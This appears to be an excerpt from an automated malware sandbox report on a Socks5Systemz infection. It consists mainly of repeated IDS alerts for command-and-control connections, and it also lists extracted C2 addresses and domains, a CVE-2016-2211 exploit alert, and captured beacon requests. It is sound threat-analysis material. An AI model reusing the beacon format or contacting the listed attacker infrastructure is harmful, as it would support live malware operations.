Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49795 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49795 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49784 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49784 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49807 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49807 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49813 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49830 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49830 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49739 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49739 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49835 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49835 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49743 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49766 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49813 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49778 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49766 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49868 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49743 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49868 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49778 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49894 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49894 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49875 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49875 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49742 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49742 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49801 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49736 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49736 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49913 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49913 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49949 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49933 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49949 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49933 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49850 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49850 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49801 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49978 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49978 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49926 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49857 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49857 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49744 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49880 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49744 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49880 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49926 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49984 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49984 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49959 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49959 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49972 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49755 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49755 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49941 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49941 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49863 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49863 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50022 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50022 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50016 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50016 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50000 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50000 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50030 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50030 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50053 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50053 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49993 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49993 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50051 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50050 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49824 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50050 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49888 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50051 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49824 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50039 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50039 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50056 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50055 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50054 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50059 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50056 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50055 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50052 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50059 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49841 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49841 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49888 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50060 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50052 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50045 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50045 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50054 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49972 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50057 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50057 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50060 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50058 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50058 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50061 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50061 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50062 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50007 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50062 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50007 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49966 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49966 -> 185.208.158.202:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: bbdxzzh.com

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 2023 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 2023

Source: global traffic

TCP traffic: 192.168.2.4:49737 -> 89.105.201.183:2023

Source: Joe Sandbox View	IP Address: 185.208.158.202 185.208.158.202
Source: Joe Sandbox View	IP Address: 89.105.201.183 89.105.201.183

Source: Joe Sandbox View

ASN Name: SIMPLECARRER2IT SIMPLECARRER2IT

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.4:49738

Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c446db22f31df92d8838ed12a666d307eca743ec4c2b07b5296692386789f918c2e690 HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
